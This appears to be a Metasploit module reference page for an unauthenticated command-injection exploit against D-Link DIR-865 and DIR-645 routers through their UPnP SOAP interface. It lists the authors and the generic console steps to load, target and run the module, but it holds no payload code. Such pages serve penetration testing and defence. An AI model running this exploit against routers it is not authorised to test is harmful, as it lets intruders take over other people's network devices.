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D-Link Devices UPnP SOAP Command Execution

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D-Link Devices UPnP SOAP Command Execution



Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.


  • Michael Messner <devnull@s3cur1ty.de>
  • juan vazquez <juan.vazquez@metasploit.com>


Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/linux/http/dlink_upnp_exec_noauth
msf exploit(dlink_upnp_exec_noauth) > show targets
msf exploit(dlink_upnp_exec_noauth) > set TARGET < target-id >
msf exploit(dlink_upnp_exec_noauth) > show options
    ...show and set options...
msf exploit(dlink_upnp_exec_noauth) > exploit

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